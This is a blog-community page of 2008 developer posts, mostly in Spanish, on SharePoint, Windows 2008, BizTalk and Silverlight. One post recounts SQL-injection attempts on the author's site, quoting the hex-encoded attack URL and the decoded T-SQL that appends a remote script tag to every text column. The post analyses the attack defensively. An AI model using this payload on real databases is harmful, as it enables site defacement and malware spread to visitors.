We are a Spain-based community but we are open to international friends and co-workers. We support both English and Spanish bloggers, so anyone can post to our community.

Posts in English
Posts in Spanish

Syndication

Blog Stats

Bloggers (last updates)

Welcome to Clearscreen Blogging Community

This a community of developers and tech-freak bloggers, mainly from Spain but we also accept international bloggers. The languagues we support are English and Spanish and we are open to new bloggers. So if you are interested in joining us, don't hesitate to contact

Contact us if you want to create a blog in blogs.clearscreen.com

Latest Posts

El Manual de Campo de Sabotaje, SharePoint y SQL 2008

Andando por aquí y por allá en la red, mientras espero que SQL haga el upgrade de 2005 a 2008 (hasta ahora sin problemas) en uno de mis servidores de SharePoint, me he encontrado el “Manual de Campo de Sabotaje Simple”, preparado por los Servicios Estratégicos del ejército norteamericano durante la segunda guerra mundial (enero 17 de 1944), http://www.gutenberg.org/etext/26184. Fuera de ser gracioso para leer, y también muy útil si esta en el medio de una guerra y quiere hacer el mayor daño posible sin ser atrapado (“sature una esponja con solución de azúcar; comprímala en una bola, enróllela con una cuerda y déjela secar. Remueva la cuerda cuando este seca y tirela por un sanitario; la esponja se expenderá gradualmente y trancara la tubería de desagüe”), me ha hecho recordar una de las personas con las que tuve que trabajar en uno de mis últimos proyectos...

Probablemente la parte más interesante del Manual es la sección final: “Interferencia general con organizaciones y producción”. Aunque parezca raro, un saboteador no es el que pone bombas y ataca convoys de trenes, como nos lo han hecho creer los millones de películas de los últimos cien años. El saboteador de verdad trabaja en una oficina como burócrata sin nombre, y le tira constantemente arena a los engranajes de la maquina oficial. Veamos las instrucciones para hacer que las cosas salgan más mal de lo normal:

1. Insista en utilizar los canales oficiales todo el tiempo, no permita que se utilicen vías expeditas

2. Cree todo tipo de “Comités” para “estudiar y considerar la situación”, y haga que los comités sean lo más grande posibles, nunca menos de 5 personas (así no se ponen de acuerdo nunca)

3. Haga relevantes las cuestiones que sean irrelevantes lo más frecuentemente posible

4. Recatee sobre las palabras precisas a utilizar en comunicados, minutas y resoluciones

5. Refiérase a puntos decididos en reuniones anteriores e intente abrirlos para discutirlos de nuevo

6. Siempre recomiende “precaución” e intente que sus colegas se comporten “precavidamente”

7. Siempre exija que las ordenes sean dadas por escrito

8. “No entienda” el trabajo que se le asigne. Pregunte hasta el infinito y, preferiblemente, discuta por escrito al respecto

9. Retrase todo lo más posible. Aunque entienda perfectamente lo que hay que hacer, no lo haga hasta que no haya leído completamente todos los manuales, correspondencia, etc

10. No ordene nuevo material hasta que el antiguo no esté prácticamente terminado y siempre pida material que es difícil de encontrar

11. Cuando asigne tareas a colegas, asigne el trabajo sin importancia primero. Asigne el trabajo sin importancia a sus colegas más capaces y el más importante a los menos capaces

12. Insista en obtener trabajo perfecto en cosas irrelevantes y no sea exigente con cosas relevantes

13. Para bajar la moral, sea complaciente con colegas ineficientes y promuévalos frecuentemente. Discrimine trabajadores eficientes y quéjese habitualmente de su trabajo

Bueno, la lista sigue y sigue, pero me parece que todos reconocemos a alguien en nuestro entorno que satisface por lo menos una de estas recomendaciones...

Y volviendo al proyecto que les contaba al principio, el encargado de manejar el proyecto por la parte de mi cliente era (es) todo un experto saboteador... probablemente se había leído el manual de marras antes de que yo lo hubiera encontrado. Para decidir hasta la más pequeña modificación era necesario organizar una reunión con la mayor cantidad posible de participantes, en la que con toda seguridad se revisarían puntos resueltos con mucha anterioridad (puntos 1, 2 y 5). Era prácticamente imposible hacer las cosas de una manera más eficiente (crear un Job de SharePoint para importar elementos desde un sistema de archivos) pues se debería trabajar con cautela (punto 6). Todo lo que se decidía había que ponerlo por escrito y enviar dos docenas de emails a veinte personas diferentes, de los cuales regresaban 19 pidiendo mayores explicaciones (puntos 7, 8 y 9). Los servidores para producción los pidió una semana antes de la fecha límite para poner todo on-line, y exigía que tuvieran discos duros de 15.000 rpm (punto 10). Junto con un colega estuvimos ocupados literalmente días y días corriendo tablas un pixel hacia la izquierda y cambiando el color de letras a “un gris menos oscuro” (puntos 11 y 12)...

Bueno, mi servidor ha terminado de hacer la migración de SQL a 2008 sin problemas. Inclusive SharePoint está funcionando como si no se le hubiera cambiado la Base de Datos... estupendo. El upgrade me ha aumentado el espacio utilizado en el disco duro en 600 MB... aceptable. A veces Microsoft hace las cosas bien... aunque a veces tenga la extraña idea de que el Manual de Campo de Sabotaje es lectura obligatoria para todos los empleados de Microsoft... probablemente me equivoco...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

posted @ 8/13/2008 11:24 PM by Gustavo


Alguien me puede explicar porque... (SharePoint y demás)

1 - Windows 2008 - Internet Explorer 7 - WSS y/o MOSS:

Porque la animación no funciona?

2 - Windows 2008 - Administrador de tareas de Windows:

Porque se me perdieron las pestañas de “Aplicaciones”, “Procesos” y “Servicios”?

3 - Windows 2008 - runas.exe. El programa (que ha existido en Windows desde el tiempo de los dinosaurios) todavía se puede encontrar en el directorio C:\Windows\System32.

Porque cuando se intenta utilizar produce este mensaje?

4 - Instalar SQL 2008 en un Windows 2008 que contiene Visual Studio 2008

Porque aparece ese mensaje (y no se puede instalar), siendo que el SP1 para Visual Studio 2008 todavía no existe? (Solamente en Beta, inapropiado para trabajar con sistemas de producción [2008-08-09]).

5 - Porque el “Internet Explorer Developer Toolbar” no funciona en Windows 2008 con IE 7?

6 - Algo que he encontrado, para no ser totalmente negativista: Cuando se crean bastantes usuarios en Windows 2008, todos aparecen en la pantalla de Logon. Para evitarlo, puede iniciar el programa de “Directiva de seguridad local” desde las Heramientas administrativas de Windows, y en “Configuración de seguridad” - “Directivas locales” - “Opciones de seguridad” habilite las opciones “Inicio de sesión interactivo: no mostrar el ultimo nombre de usuario” e “Inicio de sesión interactivo: no requerir Ctrl+Alt+Supr”, lo que produce en el Logon:

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

posted @ 8/10/2008 3:20 AM by Gustavo


Hay cosas inútiles, cosas totalmente inútiles y Métricas de Código (sobre todo para desarrollo con SharePoint)

Todos tenemos de esas cosas que nos enervan... cuando empieza a llover (y nos mojamos) en un día de sol... la fila en el supermercado que avanza más rápido que en la que estas... despertarse y no poderse volver a dormir... Métricas de Código... cosas de esas que te irritan sin saber por que...

En estos días, por eso de que hay que estar al tanto de lo que pasa en el mundo, he estado dándole una revisada a las últimas herramientas para Visual Studio, sobre todo las últimas versiones de CodeRush y Resharper. Con herramientas para Visual Studio siempre he tenido una relación de amor-odio: me encantan por lo que pueden hacer y las odio porque son tan lentas y porque se comen tanta memoria y tiempo de CPU, que me rompen la “dinámica” cuando estoy escribiendo código... con toda seguridad me entienden... si estas inspirado y por fin te están saliendo las líneas de código a borbotones, lo menos que quieres es que una herramienta estúpida se demore media hora en mostrar la lista de Intellisense en una variable...

En fin, luego de usar un par de días Resharper 4.0, termine sacándolo del sistema por eso mismo... los 5.835 (o que se yo cuantos) shortcuts que utilizaba la version anterior son ahora 10 veces más, y la velocidad de operación es 2 veces menor... fuera de mi sistema... luego instale CodeRush 3.0.8; la verdad, este va evolucionando mas por el camino que yo desearía: menos funcionalidad que nunca se usa, y menos carga para el sistema. Aunque sigue poniendo problemas de vez en cuando, sobre todo por lo de las graficas que utiliza (CodeRush era anteriormente conocido como CodeCrash, según me comentaba alguna vez Hadi Hariri), es bastante más rápido para utilizar que Resharper, y la verdad sea dicha, la parte grafica es realmente encantadora (cuando funciona).

Pero se trata de Métricas de Código. Pues bien, CodeRush ofrece la posibilidad de mostrar al lado de cada método o clase que crees un número indicando la cantidad de renglones del método, su Complejidad Ciclomática o su Complejidad de Mantenimiento. Estos dos últimos son Métricas de Código que pretenden indicar que tan difícil de entender es un pedazo de código (“Cyclomatic Complexity en SharePoint” http://geeks.ms/blogs/gvelez/archive/2007/09/02/cyclomatic-complexity-en-sharepoint.aspx ) o que tan difícil será para darle mantenimiento. La forma para calcular la Complejidad de Mantenimiento es tan complejo que es prácticamente imposible de darle mantenimiento, pero si lo desea saber en detalle, en el articulo “Here’s your new metric” (http://www.doitwith.net/PermaLink.aspx?guid=39a0e537-5d0e-4f9b-ac5c-51e8b3d1d4ec) encontrará todo lo que desee saber al respecto. En resumidas cuentas, un número mayor de 1001 es “Ultra-complejo, extremadamente difícil de mantener, alta prioridad para simplificar”.

Pues bien, da la casualidad de que yo trabajo con SharePoint, en donde si quiero hacer una WebPart tengo que usar un override de un método que se llama “CreateChildControls”, en donde tengo que crear todas las instancias de los controles que quiero usar y asignarles sus propiedades básicas. En la WebPart que estaba construyendo, tengo 38 controles creados, lo que me produce un Maintenance Complexity de 1154, una enorme raya roja a lo largo de toda la rutina y un enorme insulto del compilador cuando genero el ensamblado... pero que quieren que haga? Partir el CreateChildControls en 38 rutinas pequeñitas y llamarlas desde el metodo una por una? Eso es mas inmantenible que el código actual... y entre otras cosas, los 38 controles usan cada uno código muy sencillo, que no tiene ningún problema de mantenimiento por si mismo... Métricas de Código son estúpidas... CodeRush fuera de mi sistema...

Sigamos... Visual Studio 2008 Team System viene con Métricas de Código: excelente. Podemos ver Profundidad de Herencia, Acoplamiento de Clases, Complejidad Ciclomática e Índex de Mantenibilidad. Por supuesto que este último es diferente al de CodeRush, y, si lo desea saber, es calculado según la fórmula:

Maintenability Index = 171 - 5.2 * log2 (Halstead Volumen) - 0.23 * (Cyclomatic Complexity) - 16.2 * log2 (Lines of Code)

Queda claro? Perfecto... Como se habrá podido dar cuenta, 171, 5.2, 0.23 y 16.2 son factores calculados científicamente por la Carnegie Mellon University (no, en serio, no es para reírse, léalo usted mismo en http://blogs.msdn.com/fxcop/archive/2007/11/20/maintainability-index-range-and-meaning.aspx si no me cree) de tal forma que te salga un numero entre 100 (muy bien) y 0 (requetemal). Yo diría que lo hicieron al revés, un indexe de mantenibilidad de cero me dice que hay que darle cero mantenibilidad, pero quién soy yo para contradecir a la Carnegie Mellon University...

Pues bien, al intentar usar las Metricas de Visual Studio 2008, sale inmediatamente un error “An error ocurred while calculating code metrics for target file bla-bla-bla...”. Googleando por aquí y por allá, parece que es un bug del tamaño de una vaca, que posiblemente será corregido en el Service Pack 1 de VS, y que para evitarlo hay que meter referencias a los NameSpaces mencionados en el error (http://neovolve.com/archive/2007/12/21/bug-found-in-calculating-code-metrics-in-vs2008.aspx). Luego de hacerlo de esa forma, es posible hacer funcionar la cosa, y que resulta? Que mi método CreateChildControls tiene un Maintenability Index de 25... Bastante malo... Métricas de Código a la basura... O soy yo el que está metiendo las patas por algún lado?... lo único que puedo decir es que digan lo que digan la Métricas de Código, mi código funciona bastante bien, y hasta ahora solamente un par de programadores incapaces e ineptos se han atrevido a quejarse de que no es mantenible...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

posted @ 8/6/2008 11:57 PM by Gustavo


SharePoint en Windows 2008: una píldora amarga, pero saludable

En estos días, aprovechando que me han quedado un par de horas sueltas, me he puesto a rehacer mis maquinas virtuales. Las pobres sufren tanto, que de vez en cuando hay que jubilar las antiguas y crear nuevas.

Para estar al día, me ha dado por utilizar el “nuevo” Windows 2008. Con resultados... digamos... sorprendentes. Hasta ahora, fuera de haber instalado un par de veces a SharePoint en Windows 2008 para ser usado en servidores de prueba o producción, nunca lo había utilizado para una de mis maquinas virtuales de trabajo cotidiano. Siempre me ha gustado la velocidad del nuevo Windows para instalarle software, SQL cuesta un par de minutos, inclusive el mismo Windows es bastante rápido e indoloro para instalar. Hay que acostumbrarse a algunas cosas nuevas, como la pantalla administrativa de IIS, por ejemplo, pero rápidamente se le encuentra el gusto al asunto, y se nota que en realidad el sistema es más rápido.

Y más grande, y usa más espacio de disco duro, y más memoria... pero eso no es nada nuevo: cada Windows es más y más y más... Cuando hace un par de años una maquina virtual con Windows 2003 cabía comprimida en un CD, ahora se gasta nada más y nada menos que 6,5 GB solo para Win 2008: comprimida cabe apenas en un DVD, pasamos de un CD a un DVD en cuestión de un par de años. Y memoria, hace no mucho tiempo, con un MB de RAM era suficiente para usar XP y SharePoint 2003 sin ningún problema. Ahora Vista se traga por si mismo más de un MB, y a cada Maquina Virtual le tengo que meter por lo menos 1,5 MB para que funcione más o menos bien.

En fin, volviendo al cuento del principio, lo que necesito en una Maquina Virtual es bastante sencillo: Windows 2008, Office 2007 (Word, Excel, InfoPath, Outlook y SharePoint Designer), SQL 2005 (por eso de que todavía [todavía!!!] no ha salido un 2008 definitivo), Visual Studio (Team Suite, por eso de ser vanidoso y por deformación profesional) y WSS o MOSS. Y, por supuesto, mi colección de herramientas indispensables, pero esas no cuentan pues son bastante pequeñas en tamaño. Una maquina similar, creada con Windows 2003 R2 utiliza aproximadamente 5 GB de disco duro. Con Windows 2008, se me va a 12 GB, mas de dos veces el tamaño. Pero eso sí, funciona bastante rápido...

Y ahora, para no dar la lata más sobre el asunto, el par de lecciones aprendidas:

1 - Por eso de que VMWare hace maquinas virtuales con un disco duro de 16 MB por defecto (y soy tan perezoso que no se lo cambio), cuando terminas de instalar todo el rollo con Windows 2008 te quedas sin espacio. Para aumentar el tamaño del disco duro de una Maquina Virtual de VMWare, cierre Windows en el guest y utilice el comando:

                       Vmware-vdiskmanager -x [tamaño]GB [NombreArchivo].vmdk

(No debe haber SnapShots presentes). Cuando el proceso termine, inicie Windows de nuevo, y con las herramientas propias de Windows expanda la partición para que utilice todo el espacio nuevo. Fantástico, se puede realizar en cosa de minutos, y yo no tenía ni idea que se podía hacer (me costó un par de horas para encontrarlo, cosas de la ignorancia).

2 - Cuando estas usando Windows 2008 y quieres guardar un documento Word directamente en una Librería de SharePoint, el sistema simplemente no te lo permite: la Librería no aparece por ninguna parte en el explorador. Lo mismo si quieres usar la “Vista de Explorador”. Las dos cosas, pero sobre todo la primera son simplemente indispensables para trabajar con SharePoint. Pero no hay que desesperar: lo que hay que hacer es activar la Feature “Desktop Experience” de Win 2008, lo que permite hacer todo lo que quiero con SharePoint... y que también me instala el Media Player, el Windows Sidebar y la Photo Gallery, de los que no tengo ninguna necesidad, y que no hacen más que ocupar espacio. Pero eso no es tan malo, lo peor es que también me instala Aero, la interface grafica de Vista. Afortunadamente, el servicio que la activa (“Themes”) esta desactivado por defecto (por favor, por favor, no lo active por ningún motivo...). Otras dos horas perdidas buscando como hacer que Word funcionara con SharePoint en Windows 2008...

3 - Como no hay mal que por bien no venga, ni cuerpo que lo resista (o algo por el estilo), el Desktop Experience me instala también el botón de “Disk Cleanup” en la pantalla de propiedades del explorador de Windows, lo que me permite rápidamente limpiar el sistema, desfragmentarlo y reducirlo de tamaño con las herramientas de VMWare.

4 - Algunas cosas siguen sin funcionar:

- “Run As” no es aceptado de ninguna manera, así que ahora no puedo arrancar a IE con las credenciales de otro usuario... hmmm... lo único es cambiar el usuario usando el menú de SharePoint, pero yo preferiría que IE tuviera las credenciales buenas desde el principio

- El IE Developers ToolBar tampoco funciona. Se puede instalar e iniciar, pero eso es todo... todos los menús están en gris, y nada funciona... fui yo el que metió la pata en algún lado, o es que en realidad no funciona? Hasta ahora no he podido encontrar nada googleando...

- Arrastrar un archivo hacia la pantalla de Comandos tampoco está permitido (grrrrr....). Ahora hay que escribir todo el camino hasta el directorio que necesitas, lo que no es muy divertido con SharePoint si quieres usar stsadm (ustedes me entienden...)

- Si creas varios usuarios, todos aparecen en la pantalla de LogIn de Windows (no solamente el ultimo elegido, como lo hacía Windows 2003). Con un par de usuarios no hay problemas, pero cuando tenga que crear un par de cientos para hacer pruebas de carga o algo así? Voy a tener la pantalla de Login llena de usuarios? Supongo que habrá alguna manera de evitarlo, pero de nuevo, mi ignorancia es más grande que mi falta de conocimientos...

5 - Pero hay que ser sinceros... las maquinitas estas funcionan que da gusto...

PS: Alguien me puede explicar porque dos instalaciones idénticas de Windows, la una en ingles y la otra en español, la en español es 40’501.248 bytes más grande? Un poco exagerado para un par de Resource Files extras con cadenas en español, pensaría yo...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

posted @ 7/30/2008 6:16 PM by Gustavo


Farewell

After some time blogging at Clearscreen I've decided to stop writing (and not writing) here and,  following the current trend, start a new adventure on my own at www.josefcobonnin.com.

I would like to think the new Mad about .NET will be a much more interesting place where I will not repeat some of the mistakes done here, unfortunately the blogger will be the same, therefore I guess I will need to continue learning along the way :)

I want to thank Clearscreen and Miguel Jimenez for his support and patience during my time here.

Regards,

Jose.

posted @ 7/23/2008 6:37 AM by Jose Fco. Bonnin


De nuevo MVP y me voy de vacaciones

Hola de nuevo,

Pues nada, quería agradecer al programa MVP que, por un año más, me permitan participar del mismo. Este nuevo "año" viene cargado de novedades, como la release de BizTalk 2006, la R3, que ya os iré contando que novedades trae, y poco a poco más información sobre Oslo. De momento yo estoy en modo vacacional, ya que en 3 días estaré disfrutando del sol y la playa y haré un poco de turismo por Portugal.

Nos vemos a la vuelta, saludos!!!!

posted @ 7/23/2008 1:20 AM by Tomás Hernández


Gracias señores (*!@#$%!!) por intentar hackear mi sitio... me han enseñado mucho sobre SharePoint

Desde hace un par de semanas los logs de mi sitio, SkunkWorks (el sitio ese dedicado a información sobre SharePoint, tal vez ustedes lo hayan visto alguna vez), están llenos de errores. Por eso de la deformación profesional, en el sitio tengo un Modulo HTTP que cuando ocurre algún error me envía un E-mail avisándome, así que mi Outlook esta simplemente a reventar de errores producidos, registrados y enviados.

Los errores son todos del tipo:

http://www.gavd.net/servers/sharepointv3/spsv3_item.aspx?top=inf&itm=429;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C4043205641524348415228323535292044

45434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616

D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E7320622057

...

45205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);

Como estoy acostumbrado a recibir ataques de todo tipo en el sitio, en el principio no le he parado muchas bolas al asunto, pues mientras pueda detectar el ataque significa por defecto que el ataque ha fracasado. Pero en los últimos días la cosa es realmente una pesadilla, llegando a tener cientos de request por hora del mismo tipo.

Aprovechando un par de minutos de respiro, me he puesto a googlear al respecto, y para mi sorpresa veo que en el último par de meses este ataque se ha convertido en una real epidemia en Internet. De que se trata? Muy sencillo...

Como pueden ver, no es más que una inyección de código en el URL. Utilizando SQL se puede descifrar fácilmente la constante hexadecimal que están usando, lo que resulta que es algo por el estilo a:

DECLARE @T VARCHAR(255)

DECLARE @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR

SELECT [A].[Name], [B].[Name]

FROM sysobjects AS [A], syscolumns AS [B]

WHERE [A].[ID] = [B].[ID] AND

[A].[XType] = 'U' /* Table (User-Defined) */ AND

([B].[XType] = 99 /* NTEXT */ OR

[B].[XType] = 35 /* TEXT */ OR

[B].[XType] = 231 /* SYSNAME */ OR

[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE (@@FETCH_STATUS = 0)

BEGIN

EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://www.[algunHP].com/2.js"></script>''')

FETCH NEXT FROM Table_Cursor INTO @T, @C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

Mirando por aquí y por allá, resulta que la consulta lo que pretende es inyectar una referencia a un JavaScript en todos los valores de todas las columnas del tipo texto, sysname o varchar de todas las tablas en la Base de Datos. El JavaScript es un “Cross-Site Scripting Persistent” ataque que en teoría puede hacer de todo, desde meter propaganda en el sitio hasta introducir worms y troyanos en el computador del usuario. Si desea ver un análisis del query, los artículos “SQL Injection: More of the same” de Johannes Ullrich y “ASCII Encoded/Binary String Automated SQL Injection Attack” de Michael Zino ofrecen toda la información que desee saber sobre el tema.

Así que la cosa es seria. Y como reacciona SharePoint ante un ataque de este tipo? Por lo que he visto, bastante bien. Si lo desea probar, verá que en el primer request aparece muy ligeramente un JavaScript intentando hacer una redirección a un sitio fuera del dominio, pero el ataque es detectado inmediatamente y aparece una página de error de IIS (HTTP 400 Bad Request). Desafortunadamente en un sistema por defecto el error se logea solamente en IIS, no en SharePoint. Una búsqueda ligera en las tablas de SQL de SharePoint y en el código fuente de las páginas del Portal tampoco indican que el ataque ha tenido éxito.

Se puede detener el ataque? Por lo que he visto no. Las request vienen cada vez de una dirección IP diferente, de tal forma que no se pueden bloquear por ese lado. Lo único que se me ocurre es otro modulo HTTP que intercepte directamente en el URL las sintaxis sospechosas y las rechace automáticamente, pero eso no detiene el ataque, solamente lo para en la puerta de entrada, lo que ya está haciendo SharePoint por sí mismo. La respuesta parece que también es muy sencilla: habrá que esperar pacientemente a que se aburran y me dejen en paz...

En cualquier caso, todo esta historia es solamente para darles las gracias a los... como llamarlos... las palabras que se me vienen a la boca no se pueden escribir en un sitio como este... dejémoslos en “señores”, que están intentando tan fervorosamente romper mi sitio: en un par de horas he aprendido un montón sobre SQL e inyección de código... lo único es que sigo sin entender porque alguien se dedica a hacer algo así...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

posted @ 7/17/2008 11:44 PM by Gustavo


Blogging effort moved to Team System

Hi all!!

It has been a while without posting here and maily this is because I've started posting about Visual Studio Team System. I created a new site about Team System for the spanish community because I think I can contribute with interesting content.  The content you'll find in the new site is in Spanish and I know that some of you out there aren't spanish. It has been a pleasure posting in this blog and I'm glad if I could helped someone.

I know that some of you are Spanish readers and because that if you're interested in Visual Studio Team System, Visual Studio Team Foundation Server,  Metodologies, Quality Assurance or another thing related with ALM I suggest you to update your feed reader to the new one: http://feeds.feedburner.com/teamsystem-es. Today I'll mix my old feed with the new one and in about a month I'll delete the old feed.

Thank you very to all of you for your reading and comments.

Jesús Jiménez.

posted @ 7/14/2008 8:05 PM by Jesús Jiménez


BizTalk: Error HL7. "Specified cast is not valid"

En BizTalk Server 2006 R2, cuando en un SendPort se selecciona el Pipeline de envío BTAHL72XSendPipeline en ejecución nos da el siguiente error.

Event Type: Error
Event Source: BizTalk Server 2006
Event Category: BizTalk Server 2006
Event ID: 5720
Date: Date
Time: Time
User: N/A
Computer: ComputerName
Description:
There was a failure executing the send pipeline: "BTAHL72XPipelines.BTAHL72XSendPipeline, BTAHL72XPipelines, Version=1.3.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" Source: "BTAHL7 2.X Assembler" Send Port: "HL7_SP" URI: "C:\Labs\HL7_Outbound\%MessageID%.txt" Reason: Specified cast is not valid.

La solución se puede encontrar en un hotfix del acelerador.

http://support.microsoft.com/kb/941261/en-us/

 

Saludos.

posted @ 7/11/2008 8:31 PM by Tomás Hernández


Segundo numero de CompartiMOSS, revista especializada sobre SharePoint en español

El segundo numero de CompartiMOSS, la revista especializada sobre SharePoint en español acaba de aparecer. Puede encontrar el nuevo número del magazine en http://www.gavd.net/servers/compartimoss/compartimoss_main.aspx como un archivo pdf (dividido en dos partes para facilitar la descarga).

En este numero:

  • Editorial
  • Busquedas empresariales (Vladimir Medina)
  • Gestión Eficiente de LOGS en SharePoint (Hector Insua)
  • El Centro de Registros de MOSS (Gustavo Velez)
  • Validación de datos en la Data Form WebPart (Juan Carlos González Martín)
  • Timer Jobs (Àlex Peláez Membrado)
  • Secciones fijas

La idea de la revista es propagar el uso y conocimiento de SharePoint. Todas las personas que trabajan con SharePoint en el mundo hispanohablante están invitadas a participar.

La subsistencia de la revista depende no solo de la aceptación del magazine, sino de los aportes en artículos, ideas, experiencias de todos nosotros. Si desea tomar contacto con los editores, en la revista misma encontrara toda la información necesaria, o escriba sus comentarios directamente a compartimoss@gavd.net.

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

posted @ 7/10/2008 3:01 AM by Gustavo


BizTalk: HL7 Nombres de los message parts

En la creación de un mensaje HL7 se debe crear un mensaje Multipart con 3 partes. Está documentado que los nombres de las partes deben ser los siguientes:

BodySegments

MSHSegment

ZSegments

 

Ojo con la "s" del final, el de MSH está en singular.

 

Saludos.

posted @ 7/8/2008 8:04 PM by Tomás Hernández


El futuro de aplicaciones enriquecidas y la red, mirado desde la perspectiva de SharePoint

Para rematar en estilo una semana de esas raras, me he puesto a mirar el cerro de E-mails acumulados, y me he encontrado un artículo de Michael K. Campbell en WindowsDev Pro (“The Future of Rich Internet Applications and the Web”). He estado buscando el articulo en Internet sin poderlo encontrar, así que no puedo dar una referencia, pero si a alguien le interesa leerlo, háganmelo saber y se los envío a vuelta de correo.

El artículo se trata de las modas que van y vienen (y desaparecen) en nuestro mundo informático, y sobre el tema de “Aplicaciones Enriquecidas” (“Rich Internet Applications”), o como lo llaman por ahí, el Web dos. Su premisa es que HTML, a pesar de todos los SilverLight de este mundo, seguirá vivito y coleando por este mundo virtual por muchos años más.

Como ejemplo representativo comenta del SQL CLR. No tiene ni idea que es el SQL CLR? Pues de eso se trata realmente, de que ya nadie se acuerda que es eso. El SQL CLR es la posibilidad de escribir código para SQL directamente desde CSharp o Visual Basic, sin tener que usar el T-SQL. Cuando el asunto apareció hace años en los betas de Yukon, todo el mundo estaba entusiasmado y dispuesto a usarlo. Yukon se convirtió en SQL 2005, SQL 2005 vino y se volvió a ir, y en el intermedio nadie ha creado un solo renglón de código en CSharp para conversar con SQL. Probablemente “nadie” es exagerado, pero como el señor Cambell dice, el no conoce a nadie que lo haya utilizado alguna vez, y yo menos aun.

Algo similar puede ocurrir con Silverlight. Silverlight es una enorme promesa, por su riqueza y potencia. Gracias a las herramientas que Microsoft ha creado para ser utilizadas con Silverlight, la cantidad de código que hay que escribir para hacer algo bueno, bonito y rápido es mínimo. Que Silverlight es el “killer” de Macromedia Flash, más o menos todo el mundo está de acuerdo. Flash fue hace diez años la promesa que es ahora Silverlight, y ya vemos en que se ha convertido: el medio para crear propaganda que nadie quiere ver. En realidad Flash se va a morir por sus características autistas: si alguna vez ha intentado hacer comunicar un video Flash con el mundo exterior, se habrá dado cuenta que es más o menos entre dificilísimo e imposible... problema que parece no está teniendo Silverlight.

Pero no todo es color de rosa para Silverlight, y algunas de sus características son inherentemente débiles. Como Michael Campbell comenta en su artículo, el problema mayor de técnicas como Flash o Silverlight es que son dirigidas a mejorar la “Experiencia del Usuario”, olvidando que detrás de imágenes bonitas y videos agarradores, de lo que la red se trata es de contenido. Es decir, la experiencia del usuario muestra solamente el contenido que (en su mayoría) se genera dinámicamente, y que por la manera intrínseca de funcionamiento de Flash o Silverlight, es invisible para maquinas de búsqueda: Google o Yahoo o Microsoft Live (alguien usa MS Live?) son incapaces de indexar contenido presentado con estas técnicas. Y para empresas que basan sus ingresos en número de visitantes (que es lo que mueve en realidad a Internet), estas técnicas, aunque muy interesantes visualmente, no son interesantes comercialmente.

Extrapolando el asunto a SharePoint, el asunto no solo es de indexación de contenido (al motor de búsqueda de SharePoint lo podemos configurar para que busque directamente en el contenido del sistema, sin necesidad de indexar las pantallas), sino que, a pesar de que es posible usar Silverlight para crear WebParts, la técnica es prácticamente inutilizable por complicada y poco confiable. Por supuesto que cada vez vemos mas y mas sitios de SharePoint usando a Silverlight, pero yo personalmente no me atrevo a crear una intranet o extranet para un cliente mío usando Silverlight pues no puedo garantizar que el asunto seguirá funcionando sin problemas por los próximos años, y con cargas incrementales de utilización. Alguien ha hecho pruebas de carga, por ejemplo, de un sitio con una WebPart creada con Silverlight? No que yo sepa...

PS: Cambiando de tema, me había prometido no comentar nada sobre el asunto, pero me parece que es injusto con todos los amigos que me han escrito los últimos días, enviándome sus congratulaciones. En realidad, nada del asunto habría sido posible sin este grupo de amigotes cabeciduros que se les había metido la ida terca de que Microsoft y yo tuviéramos un vínculo de trabajo más estrecho. En fin, ellos lo han logrado, y yo se los agradezco de corazón. A ver con que resultamos en los próximos años, ahora que podemos colaborar más estrechamente para divulgar a SharePoint como el producto grande que es... de nuevo, gracias a todos, ellos y ellas...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

posted @ 7/5/2008 3:29 AM by Gustavo


Las Cosas Claras: Desde Javascript interactuar con Silverlight

En el último post de la serie esta que comencé de "Las Cosas Claras" estuvimos viendo como podíamos acceder al DOM del explorador para, en el ejemplo, llamar a funciones javascript. Pues bien, hoy veremos como hacer precisamente lo contrario.

En el siguiente ejemplo veremos como desde javascript podemos provocar cambios en el Silverlight, en este caso cambiar la orientación de los elementos de un StackPanel, pero también podríamos provocar el inicio de una animación o pararla, etc.

En primer lugar utilizaremos el siguiente namespace ya que contiene lo necesario para realizar esto:

using System.Windows.Browser;

 

Centrándonos en la página principal del Silverlight Page.xaml. El código XAML será muy sencillo, un simple StackPanel con varios botones:

    <StackPanel x:Name="LayoutRoot" Background="White">
        <Button Content="Rojo" Background="Red"/>
        <Button Content="Verde" Background="Green"/>
        <Button Content="Azul" Background="Blue"/>
        <Button Content="Amarillo" Background="Yellow"/>
        <Button Content="Blanco" Background="White"/>
        <Button Content="Negro" Background="Black"/>
    </StackPanel>

Y en el código fuente debemos registrar la clase MiTipoScriptable para poderla usar desde javascript de la siguiente manera:

  • En el evento Loaded de la página registraremos el objeto que será usados para acceder desde javascript al método.
HtmlPage.RegisterScriptableObject("slObject", this);
  • Y por último decoraremos un método de la clase Page, donde hemos realizado el registro del objeto del punto anterior, con el decorador [ScriptableMember] el cual será el método al que podremos llamar desde javascript.
[ScriptableMember]
public void slMethod(string o)
{
    if (o != "H")
        LayoutRoot.Orientation = Orientation.Vertical;
    else
        LayoutRoot.Orientation = Orientation.Horizontal;
}

Ahora nos vamos a la página ASPX desde la cual llamaremos al método slMethod del Silverlight. Para esto en primer lugar obtendremos el contenedor del Silverlight el cual en nuestro caso del ejemplo se llama SilverlightContainer y por último accederemos al método registrado mediante la siguiente sintaxis:

function Orientacion(oo)
{
    var slPlugin = $get("SilverlightContainer");
     
    slPlugin.Content.slObject.slMethod(oo);
}

PD: Se han creado dos botones Vertical y Horizontal que llamarán a la función Orientacion para cambiar el tipo de orientación del StackPanel.

Stackpanel

